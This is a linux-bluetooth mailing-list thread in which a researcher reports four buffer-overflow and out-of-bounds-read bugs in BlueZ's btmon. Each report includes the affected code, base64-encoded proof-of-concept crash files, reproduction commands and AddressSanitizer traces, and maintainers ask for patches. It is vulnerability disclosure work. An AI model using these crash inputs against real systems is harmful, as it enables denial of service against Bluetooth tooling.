if I unclog my work pipeline a bit then potentially. I`ll keep an eye on proposing new patches for these reports at the end of my testing cycle for bluez. On Tue, Nov 15, 2016 at 12:01 PM, Johan Hedberg <johan.hedberg@xxxxxxxxx> wrote: > Hi op7ic, > > Is there any chance that you could try convert these to actual patches > to fix the issues? > > Johan > > On Tue, Nov 15, 2016, op7ic \x00 wrote: >> here are 4 crashes resulting in either out-of-bound reads or buffer >> overflows (see attached) but this time in btmon. They are pretty much >> similar to bugs reported previously. >> >> On Tue, Nov 15, 2016 at 10:51 AM, op7ic \x00 <op7ica@xxxxxxxxx> wrote: >> > I got couple in btmon and I started looking at BO's in btmon too. >> > >> > FWIW whenever the code base is shared similar bugs will appear. You >> > notice that a lot of BO issues reported are for example due to >> > unchecked memcpy or just lack of boundary verification on arrays etc . >> > Once you hit that point same bug appears. >> > >> > >> > >> > >> > On Tue, Nov 15, 2016 at 10:41 AM, François Beaufort >> > <beaufort.francois@xxxxxxxxx> wrote: >> >> FWIW, I have been witnessing btmon buffer overflows this morning but >> >> can't reproduce anymore. >> >> >> >> On Tue, Nov 15, 2016 at 10:25 AM, op7ic \x00 <op7ica@xxxxxxxxx> wrote: >> >>> alright will do - thanks for replying. >> >>> >> >>> On Tue, Nov 15, 2016 at 9:18 AM, Luiz Augusto von Dentz >> >>> <luiz.dentz@xxxxxxxxx> wrote: >> >>>> Hi, >> >>>> >> >>>> On Mon, Nov 14, 2016 at 7:06 PM, op7ic \x00 <op7ica@xxxxxxxxx> wrote: >> >>>>> Hello list, >> >>>>> >> >>>>> I have been playing with hcidump tool recently and came across >> >>>>> following bugs coming from either out-of-bound reads or buffer >> >>>>> overflows (see attached reports). >> >>>>> >> >>>>> There are couple more I`m working on and will send these later. >> >>>> >> >>>> I guess we want these to be tested against btmon, hcidump is a deprecated. >> >>>> >> >>>> -- >> >>>> Luiz Augusto von Dentz >> >>> -- >> >>> To unsubscribe from this list: send the line "unsubscribe linux-bluetooth" in >> >>> the body of a message to majordomo@xxxxxxxxxxxxxxx >> >>> More majordomo info at http://vger.kernel.org/majordomo-info.html > >> Machine: x86_64 >> OS: linux-gnu >> Compiler: gcc >> Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address >> Machine Type: x86_64-unknown-linux-gnu >> BlueZ Version: 5.42 >> Release Status: release >> Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz >> >> Description: >> >> A buffer overflow was identified in "l2cap_packet" function in "monitor/packet.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command: >> >> ./monitor/btmon -r <PoC File> >> >> >> PoC.file base64 encoded: >> >> AAAAGAOEAAAAABAAAAMAEAkjChgAAwP7AgMDAxADEBAJIwoYAAMD+wIDAwMQAxAAAwMDAA== >> >> >> >> Affected code: >> >> 3161 index_list[index][in].frag_buf = malloc(len); >> 3162 if (!index_list[index][in].frag_buf) { >> 3163 print_text(COLOR_ERROR, "failed buffer allocation") ; >> 3164 packet_hexdump(data, size); >> 3165 return; >> 3166 } >> 3167 >> 3168 memcpy(index_list[index][in].frag_buf, data, size); >> 3169 index_list[index][in].frag_pos = size; >> 3170 index_list[index][in].frag_len = len - size; >> 3171 index_list[index][in].frag_cid = cid; >> 3172 break; >> >> >> >> Repeat-By: >> echo <above base64> > PoC.64 >> base64 -d PoC.b64 > PoC.file >> valgrind ./monitor/btmon -r PoC.file >> >> >> ASAN Report (bluez needs to compiled with -fsanitize=address for this): >> >> ================================================================= >> ==27023==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x76cf40a9c2c2 at pc 0x679d7a177792 bp 0x76cf40a9b830 sp 0x76cf40a9aff0 >> READ of size 4095 at 0x76cf40a9c2c2 thread T0 >> < HCI Command: Unknown (0x00|0x0003) plen 16 [hci0] 0.004096 >> 09 23 0a 18 00 03 03 fb 02 03 03 03 .#.......... >> < ACL Data TX: Handle 771 flags 0x00 dlen 4099 [hci0] 94308888.197627 >> #0 0x679d7a177791 (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2e791) >> #1 0x4b9ecc in l2cap_packet monitor/l2cap.c:3168 >> #2 0x47dda6 in packet_hci_acldata monitor/packet.c:9115 >> #3 0x483777 in packet_monitor monitor/packet.c:3846 >> #4 0x417f68 in control_reader monitor/control.c:1415 >> #5 0x40a142 in main monitor/main.c:220 >> #6 0x679d79bb0b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44) >> #7 0x40b03e (/opt/bluez/monitor/btmon+0x40b03e) >> >> Address 0x76cf40a9c2c2 is located in stack of thread T0 at offset 1778 in frame >> #0 0x417b4f in control_reader monitor/control.c:1375 >> >> This frame has 5 object(s): >> [32, 34) 'pktlen' >> [96, 98) 'index' >> [160, 162) 'frequency' >> [224, 240) 'tv' >> [288, 1778) 'buf' <== Memory access at offset 1778 overflows this variable >> HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext >> (longjmp and C++ exceptions *are* supported) >> SUMMARY: AddressSanitizer: stack-buffer-overflow ??:0 ?? >> Shadow bytes around the buggy address: >> 0x0eda6814b800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0eda6814b810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0eda6814b820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0eda6814b830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0eda6814b840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> =>0x0eda6814b850: 00 00 00 00 00 00 00 00[02]f4 f3 f3 f3 f3 00 00 >> 0x0eda6814b860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 >> 0x0eda6814b870: f1 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0eda6814b880: 00 00 f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 >> 0x0eda6814b890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0eda6814b8a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> Shadow byte legend (one shadow byte represents 8 application bytes): >> Addressable: 00 >> Partially addressable: 01 02 03 04 05 06 07 >> Heap left redzone: fa >> Heap right redzone: fb >> Freed heap region: fd >> Stack left redzone: f1 >> Stack mid redzone: f2 >> Stack right redzone: f3 >> Stack partial redzone: f4 >> Stack after return: f5 >> Stack use after scope: f8 >> Global redzone: f9 >> Global init order: f6 >> Poisoned by user: f7 >> Contiguous container OOB:fc >> ASan internal: fe >> ==27023==ABORTING > >> Machine: x86_64 >> OS: linux-gnu >> Compiler: gcc >> Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address >> Machine Type: x86_64-unknown-linux-gnu >> BlueZ Version: 5.42 >> Release Status: release >> Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz >> >> Description: >> >> A out-of-bound read was identified in "packet_hexdump" function in "monitor/packet.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command: >> >> ./monitor/btmon -r <PoC File> >> >> >> PoC.file base64 encoded: >> AACACQQHGAAaERDoAwAAAAkjBxgAAwMDAwMDAwMDAwMDAwMDAwMDAw== >> >> >> Affected code: >> >> 3736 static const char hexdigits[] = "0123456789abcdef"; >> 3737 char str[68]; >> 3738 uint16_t i; >> 3739 >> 3740 if (!len) >> 3741 return; >> 3742 >> 3743 for (i = 0; i < len; i++) { >> 3744 str[((i % 16) * 3) + 0] = hexdigits[buf[i] >> 4]; >> 3745 str[((i % 16) * 3) + 1] = hexdigits[buf[i] & 0xf]; >> 3746 str[((i % 16) * 3) + 2] = ' '; >> >> >> >> Repeat-By: >> echo <above base64> > PoC.64 >> base64 -d PoC.b64 > PoC.file >> valgrind ./monitor/btmon -r PoC.file >> >> >> ASAN Report (bluez needs to compiled with -fsanitize=address for this): >> >> ==13306==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x79fe1636c7e2 at pc 0x42cb3c bp 0x79fe1636bca0 sp 0x79fe1636bc98 >> READ of size 1 at 0x79fe1636c7e2 thread T0 >> > ACL Data RX: Handle 0 flags 0x00 dlen 2304 [hci0] 0.437326056 >> invalid packet size (32764 != 2304) >> 23 07 18 00 03 03 03 03 03 03 03 03 03 03 03 03 #............... >> 03 03 03 03 03 03 03 00 00 00 00 00 20 08 82 40 ............ ..@ >> 00 28 80 20 00 00 00 00 40 01 40 23 00 00 00 00 .(. ....@.@#.... >> a0 04 20 00 00 00 00 00 00 04 00 80 00 00 00 00 .. ............. >> 00 00 10 04 ff ff ff ff 04 01 04 86 9a 39 1c 20 .............9. >> 54 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Tp.............. >> 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................ >> ff ff ff ff 04 00 00 00 4c 00 00 00 00 00 00 00 ........L....... >> 00 00 00 00 9a 39 1c 20 54 70 00 00 00 00 00 00 .....9. Tp...... >> 00 00 00 00 56 98 54 00 00 00 00 00 80 c8 36 00 ....V.T.......6. >> 00 00 00 00 1b 00 00 00 00 00 00 00 59 98 54 00 ............Y.T. >> 00 00 00 00 00 80 81 21 54 70 00 00 a2 e5 32 1f .......!Tp....2. >> 54 70 00 00 62 53 61 21 54 70 00 00 00 00 00 00 Tp..bSa!Tp...... >> 00 00 00 00 74 78 61 21 54 70 00 00 80 c5 36 16 ....txa!Tp....6. >> fe 79 00 00 00 b0 82 21 54 70 00 00 00 00 00 00 .y.....!Tp...... >> 00 00 00 00 08 00 00 00 30 00 00 00 50 c8 36 16 ........0...P.6. >> fe 79 00 00 90 c7 36 16 fe 79 00 00 50 f8 1d 20 .y....6..y..P.. >> 54 70 00 00 a0 e2 51 20 54 70 00 00 00 00 00 00 Tp....Q Tp...... >> 00 00 00 00 00 00 00 00 00 00 00 00 18 c8 36 16 ..............6. >> fe 79 00 00 17 c8 36 16 fe 79 00 00 34 c3 36 16 .y....6..y..4.6. >> fe 79 00 00 00 00 00 00 00 00 00 00 00 00 00 91 .y.............. >> 6d 2c fc f3 01 00 00 00 00 00 00 00 80 c5 36 16 m,............6. >> fe 79 00 00 00 80 81 21 54 70 00 00 a2 e5 32 1f .y.....!Tp....2. >> 54 70 00 00 00 00 e0 85 6d 2c fc f3 00 00 c2 f0 Tp......m,...... >> c2 42 a8 e0 00 00 00 00 00 00 00 00 80 c5 36 16 .B............6. >> fe 79 00 00 b8 79 82 21 54 70 00 00 51 45 52 20 .y...y.!Tp..QER >> 54 70 00 00 00 00 40 86 6d 2c fc f3 00 00 c2 f0 Tp....@.m,...... >> c2 42 a8 e0 06 00 00 00 00 00 00 00 80 c5 36 16 .B............6. >> fe 79 00 00 05 16 62 21 54 70 00 00 89 53 74 20 .y....b!Tp...St >> 54 70 00 00 c8 86 81 21 54 70 00 00 01 00 00 00 Tp.....!Tp...... >> 00 00 00 00 80 c8 36 16 fe 79 00 00 98 86 81 21 ......6..y.....! >> 54 70 00 00 9b 5b 61 21 54 70 00 00 00 00 01 00 Tp...[a!Tp...... >> 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 ................ >> 01 00 00 00 35 63 61 21 54 70 00 00 01 00 00 00 ....5ca!Tp...... >> fe 79 00 00 00 80 81 21 54 70 00 00 00 00 00 00 .y.....!Tp...... >> 00 00 00 00 28 ea 9c 20 54 70 00 00 68 0a 73 20 ....(.. Tp..h.s >> 54 70 00 00 b5 55 61 21 54 70 00 00 01 00 00 00 Tp...Ua!Tp...... >> fe 79 00 00 d8 99 81 21 54 70 00 00 30 c4 36 16 .y.....!Tp..0.6. >> fe 79 00 00 1c 1c 61 21 54 70 00 00 a8 e8 9c 20 .y....a!Tp..... >> 54 70 00 00 1c 1c 61 21 54 70 00 00 03 00 00 00 Tp....a!Tp...... >> 00 00 00 00 2e 03 31 1c 00 00 00 00 03 00 00 00 ......1......... >> 00 00 00 00 0b 00 00 00 00 00 00 00 f8 86 81 21 ...............! >> 54 70 00 00 8e 25 61 21 54 70 00 00 28 bd 17 20 Tp...%a!Tp..(.. >> 54 70 00 00 00 c5 36 16 fe 79 00 00 28 bd 17 20 Tp....6..y..(.. >> 54 70 00 00 48 c1 17 20 54 70 00 00 10 c6 36 16 Tp..H.. Tp....6. >> fe 79 00 00 0c c4 70 00 00 00 00 00 00 c6 36 16 .y....p.......6. >> fe 79 00 00 80 87 81 21 54 70 00 00 00 00 00 00 .y.....!Tp...... >> 00 00 00 00 80 87 81 21 54 70 00 00 00 a0 81 21 .......!Tp.....! >> 54 70 00 00 04 14 40 00 00 00 00 00 78 8d 18 20 Tp....@.....x.. >> 54 70 00 00 70 0a 40 00 00 00 00 00 00 00 00 00 Tp..p.@......... >> 01 00 00 00 2c 00 00 00 01 00 00 00 90 c6 36 16 ....,.........6. >> fe 79 00 00 80 87 81 21 54 70 00 00 a0 c6 36 16 .y.....!Tp....6. >> fe 79 00 00 00 b5 82 21 54 70 00 00 c8 c6 36 16 .y.....!Tp....6. >> fe 79 00 00 a8 b1 82 21 54 70 00 00 01 00 00 00 .y.....!Tp...... >> 00 00 00 00 3d 27 61 21 54 70 00 00 00 00 00 00 ....='a!Tp...... >> 00 00 00 00 80 87 81 21 54 70 00 00 01 00 00 00 .......!Tp...... >> 54 70 00 00 00 00 00 00 00 00 00 00 01 00 00 00 Tp.............. >> 00 00 00 00 a8 b1 82 21 54 70 00 00 03 00 00 00 .......!Tp...... >> 00 00 00 00 0b 00 00 00 00 00 00 00 f8 86 81 21 ...............! >> 54 70 00 00 8e 25 61 21 54 70 00 00 00 00 00 00 Tp...%a!Tp...... >> 00 00 00 00 00 b5 82 21 54 70 00 00 10 c6 36 16 .......!Tp....6. >> fe 79 00 00 00 c6 36 16 fe 79 00 00 2e 03 31 1c .y....6..y....1. >> 00 00 00 00 04 14 40 00 00 00 00 00 ff ff ff ff ......@......... >> 00 00 00 00 20 0f 40 00 00 00 00 00 48 c1 17 20 .... .@.....H.. >> 54 70 00 00 00 a0 81 21 54 70 00 00 00 a0 81 21 Tp.....!Tp.....! >> 54 70 00 00 da 15 40 00 00 00 00 00 78 8d 18 20 Tp....@.....x.. >> 54 70 00 00 38 03 40 00 00 00 00 00 00 00 00 00 Tp..8.@......... >> 01 00 00 00 54 02 00 00 01 00 00 00 01 00 00 00 ....T........... >> 00 00 00 00 80 87 81 21 54 70 00 00 b0 c7 36 16 .......!Tp....6. >> fe 79 00 00 00 b5 82 21 54 70 00 00 d8 c7 36 16 .y.....!Tp....6. >> fe 79 00 00 e8 56 7d 00 00 00 00 00 00 00 00 00 .y...V}......... >> 00 00 00 00 00 00 00 00 00 00 00 00 f0 ef 00 00 ................ >> 20 60 00 00 00 00 00 00 00 00 00 00 00 c8 36 16 `............6. >> fe 79 00 00 c7 6d 61 21 54 70 00 00 01 00 00 00 .y...ma!Tp...... >> : #0 0x42cb3b in packet_hexdump monitor/packet.c:3744 >> #1 0x47dd2b in packet_hexdump monitor/packet.c:3740 >> #2 0x47dd2b in packet_hci_acldata monitor/packet.c:9108 >> #3 0x483752 in packet_monitor monitor/packet.c:3849 >> #4 0x417f68 in control_reader monitor/control.c:1415 >> #5 0x40a142 in main monitor/main.c:220 >> #6 0x705420199b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44) >> #7 0x40b03e (/opt/bluez/monitor/btmon+0x40b03e) >> >> Address 0x79fe1636c7e2 is located in stack of thread T0 at offset 1778 in frame >> #0 0x417b4f in control_reader monitor/control.c:1375 >> >> This frame has 5 object(s): >> [32, 34) 'pktlen' >> [96, 98) 'index' >> [160, 162) 'frequency' >> [224, 240) 'tv' >> [288, 1778) 'buf' <== Memory access at offset 1778 overflows this variable >> HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext >> (longjmp and C++ exceptions *are* supported) >> SUMMARY: AddressSanitizer: stack-buffer-overflow monitor/packet.c:3744 packet_hexdump >> Shadow bytes around the buggy address: >> 0x0f4042c658a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0f4042c658b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0f4042c658c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0f4042c658d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0f4042c658e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> =>0x0f4042c658f0: 00 00 00 00 00 00 00 00 00 00 00 00[02]f4 f3 f3 >> 0x0f4042c65900: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0f4042c65910: 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 >> 0x0f4042c65920: 00 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00 00 00 >> 0x0f4042c65930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0f4042c65940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> Shadow byte legend (one shadow byte represents 8 application bytes): >> Addressable: 00 >> Partially addressable: 01 02 03 04 05 06 07 >> Heap left redzone: fa >> Heap right redzone: fb >> Freed heap region: fd >> Stack left redzone: f1 >> Stack mid redzone: f2 >> Stack right redzone: f3 >> Stack partial redzone: f4 >> Stack after return: f5 >> Stack use after scope: f8 >> Global redzone: f9 >> Global init order: f6 >> Poisoned by user: f7 >> Contiguous container OOB:fc >> ASan internal: fe >> ==13306==ABORTING >> > >> Machine: x86_64 >> OS: linux-gnu >> Compiler: gcc >> Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address >> Machine Type: x86_64-unknown-linux-gnu >> BlueZ Version: 5.42 >> Release Status: release >> Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz >> >> Description: >> >> An buffer overflow was observed in "pklg_read_hci" function in "btsnoop.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command: >> >> ./monitor/btmon -r <PoC File> >> >> >> >> PoC.file base64 encoded: >> >> AAAQABkQAKLNFQCAAgICFwIXAAEABU5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5O >> Tk5OTqGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh >> oU5OTk5OTk5OTk5OTk5dTgAAdXV1dXV1dXV1dXV1dXV1MyQ+Plj7AbrYA4QBABIgPj08Gjq6AAME >> AQC62AMEAQAwPkc+WgABABAD3AEAPgAEGj4uPrrYEgQBAIw+Pk1YGj66AAMEAQAAkI+PAECPlNOA >> AAEAEj5NPlgC/4AA9gQBABI+PgEAAAC6AAMEAT4+AQAAALoAAwQB/3///z5YAAEfAA7mAQA+CAQa >> Pho+utgDBAEAMD4+PlgAAR8AA+YBAD4ABBY+QD7//wMEAQAFPj49WAY+uugDBPUAEj4+PlgaPrrY >> AwQBACKdAAAYGj66AAMEAQASJD4+WBo+utgDBAEA/38AAAwaPgAAAAEBADMkPj5YAAG62AOEAQAS >> ID49PBo6ugADBAEAutgDBAEAMD5HPloAAQAQA9wBAD4ABBo+Lj66ABAfAAPmAQABAAQWcHBwcHBw >> cP//f/9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT71PT09PT4D/T09PT09PD09P >> T09PT09PT09PT09PT09PT09PT09PT09PT09RT09PUk9PT09PT09PT09PT09PT0////8ABAkEAiAA >> KgUZEACizRUVNAICABI+PgEAAAC6CQMEAf9///8+WAABHwAO5gEAPggEGj4aPrrYAwQBAE0+Pj5Y >> AAEfAAPmAQA+AAQWPkA+//8DBAEABT4+PVgGPrroAwT1ABI+Pj5YGj662AMEAQBDnQAAAQA+CAQa >> Pho+utgDBAEAMD4+PlgAAR8AA+YBAD4ABBY+QD7//wMEAQAFPj49WAY+uugDBPUAEj4+PlgaPrrY >> AwQBAEOdAAAYGj66AAMEAQASJD4+WBo+utgDBAEA/38AAAwaPgAAAAEBABgaProAAwQBABIkPj5Y >> Gj662AMEAQD/fwAADBo+AAAAAQEAMyQ+PlgAAbrYA4QBABIgPj08Gjq6AAMEDwC62AMEAQAwPkc+ >> WgABABwD3AEAPgAEGj4uPrrYEgQBAIw+Pk1YGj66AAMEAQAAkI+PAEBPT09PT09PT09PT09PT09P >> T09PT09PT08DhAEAEiA+PTwaOroAAwQBALrYAwQBADA+Rz5aAAEAEAPcAQA+j5TTgAABABI+TT5Y >> Av+AAPYEAQASPj4BAAAAugADBAEAED4+PlgWAR8ADuYBAD4IBBo+Gj662E5OTk5OTk5dTk51dXV1 >> dXV1dXV1dXV1dXV1dXV1dXV1dXVOTk5OTk5OTk5OTk5OTk5OTk5OTugLAAAC////fwIXAAGA//// >> AAQJBAIgACoFGRAAnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ1AnZ2dnZ2dnZ2dnZ2dnZ2dnZ2d >> nZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ0AAAC6AAMEAQAQPj4+WAABH09PT09P >> T09PT08PT09PT09PT09PT09PT09PT09PT09PT3BwcHBwcJJwcHBwiHBwcHDucHBwcHBwcHBwcHBw >> cHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwEHBwcHBwcHBwcHBwcHBwcHBwT3Bw >> cAIgACoFGRAAos0VFTQCAgAgPj4BAAAAugADBAH/f///PlgAAR8ADuYBAD4IBHBwPgAZGj5wcHBw >> cHBgcHBwcHBwcHBwcHBwQHBwcHBwcHBwGj662BIEAQCMPj5NWBoADuYBAD4IBHBwPgAZGj5wcHBw >> cHBgcHBwcHBwcHBwcHBwQHBwcHBwcHBwGj662BIEAQCMPj5NWBo+ugADBAEAEiA+Plj///9/EAQB >> ABI+TVgGProAAwQBABI+Pj5YJAAQQA== >> >> >> >> Affected code: >> >> 368 *index = 0xffff; >> 369 *opcode = 0xffff; >> 370 break; >> 371 } >> 372 >> 373 len = read(btsnoop->fd, data, toread); >> 374 if (len < 0) { >> 375 btsnoop->aborted = true; >> 376 return false; >> 377 } >> >> >> >> Repeat-By: >> echo <above base64> > PoC.64 >> base64 -d PoC.b64 > PoC.file >> valgrind ./monitor/btmon -r PoC.file >> >> >> ASAN Report (bluez needs to compiled with -fsanitize=address for this): >> >> ================================================================= >> ==1986==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x73f4d87b94c2 at pc 0x663b1aef59b6 bp 0x73f4d87b8c50 sp 0x73f4d87b8c38 >> WRITE of size 1491 at 0x73f4d87b94c2 thread T0 >> #0 0x663b1aef59b5 in read (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x299b5) >> #1 0x544a17 in pklg_read_hci src/shared/btsnoop.c:373 >> #2 0x544a17 in btsnoop_read_hci src/shared/btsnoop.c:433 >> #3 0x417efd in control_reader monitor/control.c:1408 >> #4 0x40a142 in main monitor/main.c:220 >> #5 0x663b1a933b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44) >> #6 0x40b03e (/opt/bluez/monitor/btmon+0x40b03e) >> >> Address 0x73f4d87b94c2 is located in stack of thread T0 at offset 1778 in frame >> #0 0x417b4f in control_reader monitor/control.c:1375 >> >> This frame has 5 object(s): >> [32, 34) 'pktlen' >> [96, 98) 'index' >> [160, 162) 'frequency' >> [224, 240) 'tv' >> [288, 1778) 'buf' <== Memory access at offset 1778 overflows this variable >> HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext >> (longjmp and C++ exceptions *are* supported) >> SUMMARY: AddressSanitizer: stack-buffer-overflow ??:0 read >> Shadow bytes around the buggy address: >> 0x0e7f1b0ef240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0e7f1b0ef250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0e7f1b0ef260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0e7f1b0ef270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0e7f1b0ef280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> =>0x0e7f1b0ef290: 00 00 00 00 00 00 00 00[02]f4 f3 f3 f3 f3 00 00 >> 0x0e7f1b0ef2a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 >> 0x0e7f1b0ef2b0: f1 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0e7f1b0ef2c0: 00 00 f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 >> 0x0e7f1b0ef2d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0e7f1b0ef2e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> Shadow byte legend (one shadow byte represents 8 application bytes): >> Addressable: 00 >> Partially addressable: 01 02 03 04 05 06 07 >> Heap left redzone: fa >> Heap right redzone: fb >> Freed heap region: fd >> Stack left redzone: f1 >> Stack mid redzone: f2 >> Stack right redzone: f3 >> Stack partial redzone: f4 >> Stack after return: f5 >> Stack use after scope: f8 >> Global redzone: f9 >> Global init order: f6 >> Poisoned by user: f7 >> Contiguous container OOB:fc >> ASan internal: fe >> ==1986==ABORTING > >> Machine: x86_64 >> OS: linux-gnu >> Compiler: gcc >> Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address >> Machine Type: x86_64-unknown-linux-gnu >> BlueZ Version: 5.42 >> Release Status: release >> Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz >> >> Description: >> >> A out-of-bound read was identified in "print_hex_field" function in "monitor/packet.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command: >> >> ./monitor/btmon -r <PoC File> >> >> >> PoC.file base64 encoded: >> >> AAAADCQkLv9/AIAAARUB3QAAAAwdJCT/f4gAAQE= >> >> >> >> Affected code: >> >> 1908 static void print_hex_field(const char *label, const uint8_t *data, >> 1909 uint8_t le n) >> 1910 { >> 1911 char str[len * 2 + 1]; >> 1912 uint8_t i; >> 1913 >> 1914 str[0] = '\0'; >> 1915 >> 1916 for (i = 0; i < len; i++) >> 1917 sprintf(str + (i * 2), "%2.2x", data[i]); >> 1918 >> >> >> >> >> Repeat-By: >> echo <above base64> > PoC.64 >> base64 -d PoC.b64 > PoC.file >> valgrind ./monitor/btmon -r PoC.file >> >> >> ASAN Report (bluez needs to compiled with -fsanitize=address for this): >> >> ==17737==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x77c32d2411a2 at pc 0x431421 bp 0x77c32d240700 sp 0x77c32d2406f8 >> READ of size 1 at 0x77c32d2411a2 thread T0 >> #0 0x431420 in print_hex_field monitor/packet.c:1917 >> #1 0x44428d in print_key monitor/packet.c:1924 >> #2 0x44428d in print_link_key monitor/packet.c:1929 >> #3 0x44428d in return_link_keys_evt monitor/packet.c:7803 >> #4 0x47d5f8 in packet_hci_event monitor/packet.c:9072 >> #5 0x483025 in packet_monitor monitor/packet.c:3843 >> #6 0x417f68 in control_reader monitor/control.c:1415 >> #7 0x40a142 in main monitor/main.c:220 >> #8 0x74bb760f0b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44) >> #9 0x40b03e (/opt/bluez/monitor/btmon+0x40b03e) >> >> Address 0x77c32d2411a2 is located in stack of thread T0 at offset 1778 in frame >> #0 0x417b4f in control_reader monitor/control.c:1375 >> >> This frame has 5 object(s): >> [32, 34) 'pktlen' >> [96, 98) 'index' >> [160, 162) 'frequency' >> [224, 240) 'tv' >> [288, 1778) 'buf' <== Memory access at offset 1778 overflows this variable >> HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext >> (longjmp and C++ exceptions *are* supported) >> SUMMARY: AddressSanitizer: stack-buffer-overflow monitor/packet.c:1917 print_hex_field >> Shadow bytes around the buggy address: >> 0x0ef8e5a401e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0ef8e5a401f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0ef8e5a40200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0ef8e5a40210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0ef8e5a40220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> =>0x0ef8e5a40230: 00 00 00 00[02]f4 f3 f3 f3 f3 00 00 00 00 00 00 >> 0x0ef8e5a40240: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 >> 0x0ef8e5a40250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 f3 >> 0x0ef8e5a40260: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0ef8e5a40270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> 0x0ef8e5a40280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> Shadow byte legend (one shadow byte represents 8 application bytes): >> Addressable: 00 >> Partially addressable: 01 02 03 04 05 06 07 >> Heap left redzone: fa >> Heap right redzone: fb >> Freed heap region: fd >> Stack left redzone: f1 >> Stack mid redzone: f2 >> Stack right redzone: f3 >> Stack partial redzone: f4 >> Stack after return: f5 >> Stack use after scope: f8 >> Global redzone: f9 >> Global init order: f6 >> Poisoned by user: f7 >> Contiguous container OOB:fc >> ASan internal: fe >> ==17737==ABORTING >> > -- To unsubscribe from this list: send the line "unsubscribe linux-bluetooth" in the body of a message to majordomo@xxxxxxxxxxxxxxx More majordomo info at 